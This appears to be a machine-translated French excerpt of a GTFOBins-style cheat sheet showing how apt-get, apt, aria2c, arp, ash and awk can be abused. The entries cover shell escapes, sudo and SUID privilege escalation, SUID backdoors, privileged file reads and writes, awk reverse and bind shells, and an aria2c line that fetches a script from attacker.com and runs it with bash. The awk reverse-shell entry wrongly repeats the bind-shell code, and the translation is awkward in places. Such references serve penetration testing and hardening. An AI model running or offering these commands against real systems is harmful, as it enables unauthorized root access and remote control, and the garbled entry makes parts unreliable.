apt-get |
Shell |
Il peut être utilisé pour sortir des environnements restreints en créant un shell système interactif.
Cela appelle le pager par défaut, qui est probablement inférieur, d'autres fonctions peuvent s'appliquer.
|
apt-get changelog apt
!/bin/sh |
Sudo |
Si le binaire est autorisé à s'exécuter en tant que superutilisateur par sudo, il ne supprime pas les privilèges élevés et peut être utilisé pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié.
Icône de validation par la communauté |
sudo apt-get changelog apt
!/bin/sh
| cela appelle le pager par défaut, qui est probablement inférieur, d'autres fonctions peuvent s'appliquer. |
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl |
Pour que cela fonctionne, le package cible (par exemple, sl) ne doit pas être installé. |
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh |
Lorsque le shell quitte la commande de mise à jour est effectivement exécutée. |
apt |
Shell |
Il peut être utilisé pour sortir des environnements restreints en créant un shell système interactif.
Cela appelle le pager par défaut, qui est probablement inférieur, d'autres fonctions peuvent s'appliquer.
|
apt changelog apt
!/bin/sh |
Sudo |
Si le binaire est autorisé à s'exécuter en tant que superutilisateur par sudo, il ne supprime pas les privilèges élevés et peut être utilisé pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié.
Icône de validation par la communauté |
sudo apt changelog apt
!/bin/sh
| cela appelle le pager par défaut, qui est probablement inférieur, d'autres fonctions peuvent s'appliquer. |
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl |
Pour que cela fonctionne, le package cible (par exemple, sl) ne doit pas être installé. |
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh |
Lorsque le shell quitte la commande de mise à jour est effectivement exécutée. |
aria2c |
command | Il peut être utilisé pour sortir des environnements restreints en exécutant des commandes système non interactives. |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x |
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa | Le fichier distant aaaaaaaaaaaaaaaa (doit être une chaîne de 16 chiffres hexadécimaux) contient le script shell. Notez que ledit fichier doit être écrit sur le disque pour être exécuté. --allow-overwrite est nécessaire si cela est exécuté plusieurs fois avec le même GID. |
SUID | Si le binaire a le bit SUID défini, il ne supprime pas les privilèges élevés et peut être exploité pour accéder au système de fichiers, augmenter ou maintenir l'accès privilégié en tant que porte dérobée SUID. S'il est utilisé pour exécuter sh -p, omettez l'argument -p sur des systèmes comme Debian (<= Stretch) qui permettent au shell sh par défaut de s'exécuter avec les privilèges SUID.
Cet exemple crée une copie SUID locale du binaire et l'exécute pour conserver des privilèges élevés. Pour exploiter un binaire SUID existant, ignorez la première commande et exécutez le programme en utilisant son chemin d'origine. |
sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
./aria2c --on-download-error=$TF http://x |
Sudo | Si le binaire est autorisé à s'exécuter en tant que superutilisateur par sudo, il ne supprime pas les privilèges élevés et peut être utilisé pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié. |
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo aria2c --on-download-error=$TF http://x |
arp |
File read |
Le contenu du fichier lu est corrompu par des impressions d'erreur.
Fichier lu.
Il lit les données des fichiers, il peut être utilisé pour effectuer des lectures privilégiées ou divulguer des fichiers en dehors d'un système de fichiers restreint. |
LFILE=file_to_read
arp -v -f "$LFILE" |
SUID | Si le binaire a le bit SUID défini, il ne supprime pas les privilèges élevés et peut être exploité pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié en tant que porte dérobée SUID. S'il est utilisé pour exécuter sh -p, omettez l'argument -p sur des systèmes comme Debian (<= Stretch) qui permettent au shell sh par défaut de s'exécuter avec les privilèges SUID.
Cet exemple crée une copie SUID locale du binaire et l'exécute pour conserver des privilèges élevés. Pour exploiter un binaire SUID existant, ignorez la première commande et exécutez le programme en utilisant son chemin d'origine. |
sudo sh -c 'cp $(which arp) .; chmod +s ./arp'
LFILE=file_to_read
./arp -v -f "$LFILE" |
Sudo | Si le binaire est autorisé à s'exécuter en tant que superutilisateur par sudo, il ne supprime pas les privilèges élevés et peut être utilisé pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié. |
LFILE=file_to_read
sudo arp -v -f "$LFILE" |
ash |
shell | Il peut être utilisé pour sortir des environnements restreints en créant un shell système interactif.
|
ash |
File Write | Il écrit des données dans des fichiers, il peut être utilisé pour faire des écritures privilégiées ou écrire des fichiers en dehors d'un système de fichiers restreint.
|
export LFILE=file_to_write
ash -c 'echo DATA > $LFILE'
|
SUID | Si le binaire a le bit SUID défini, il ne supprime pas les privilèges élevés et peut être exploité pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié en tant que porte dérobée SUID. S'il est utilisé pour exécuter sh -p, omettez l'argument -p sur des systèmes comme Debian (<= Stretch) qui permettent au shell sh par défaut de s'exécuter avec les privilèges SUID.
Cet exemple crée une copie SUID locale du binaire et l'exécute pour conserver des privilèges élevés. Pour exploiter un binaire SUID existant, ignorez la première commande et exécutez le programme en utilisant son chemin d'origine.
|
sudo sh -c 'cp $(which ash) .; chmod +s ./ash'
./ash
|
Sudo | Si le binaire est autorisé à s'exécuter en tant que superutilisateur par sudo, il ne supprime pas les privilèges élevés et peut être utilisé pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié. |
Sudo ash |
awk |
|
shell | Il peut être utilisé pour sortir des environnements restreints en créant un shell système interactif. |
awk 'BEGIN {system("/bin/sh")}' |
Non-interactive reverse shell |
Il peut renvoyer un reverse shell non interactif à un attaquant à l'écoute pour ouvrir un accès réseau distant.
Exécutez nc -l -p 12345 sur la boîte de l'attaquant pour recevoir le shell. |
LPORT=12345
awk -v LPORT=$LPORT 'BEGIN {
s = "/inet/tcp/" LPORT "/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' |
Non-interactive bind shell | Il peut lier un shell non interactif à un port local pour permettre un accès réseau distant.
Exécutez nc target.com 12345 sur la boîte de l'attaquant pour vous connecter au shell.
|
LPORT=12345
awk -v LPORT=$LPORT 'BEGIN {
s = "/inet/tcp/" LPORT "/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' |
File write | Il écrit des données dans des fichiers, il peut être utilisé pour faire des écritures privilégiées ou écrire des fichiers en dehors d'un système de fichiers restreint. |
LFILE=file_to_write
awk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }' |
File read | Il lit les données des fichiers, il peut être utilisé pour effectuer des lectures privilégiées ou divulguer des fichiers en dehors d'un système de fichiers restreint
|
LFILE=file_to_read
awk '//' "$LFILE" |
Sudo | Si le binaire est autorisé à s'exécuter en tant que superutilisateur par sudo, il ne supprime pas les privilèges élevés et peut être utilisé pour accéder au système de fichiers, augmenter ou maintenir un accès privilégié.
|
sudo awk 'BEGIN {system("/bin/sh")}'
|
Limited SUID | Si le binaire a le bit SUID défini, il peut être exploité pour accéder au système de fichiers, augmenter ou maintenir l'accès avec des privilèges élevés fonctionnant comme une porte dérobée SUID. S'il est utilisé pour exécuter des commandes (par exemple, via des appels de type system ()), il ne fonctionne que sur des systèmes comme Debian (<= Stretch) qui permettent au shell sh par défaut de s'exécuter avec les privilèges SUID.
Cet exemple crée une copie SUID locale du binaire et l'exécute pour conserver des privilèges élevés. Pour exploiter un binaire SUID existant, ignorez la première commande et exécutez le programme en utilisant son chemin d'origine.
|
sudo sh -c 'cp $(which awk) .; chmod +s ./awk'
./awk 'BEGIN {system("/bin/sh")}' |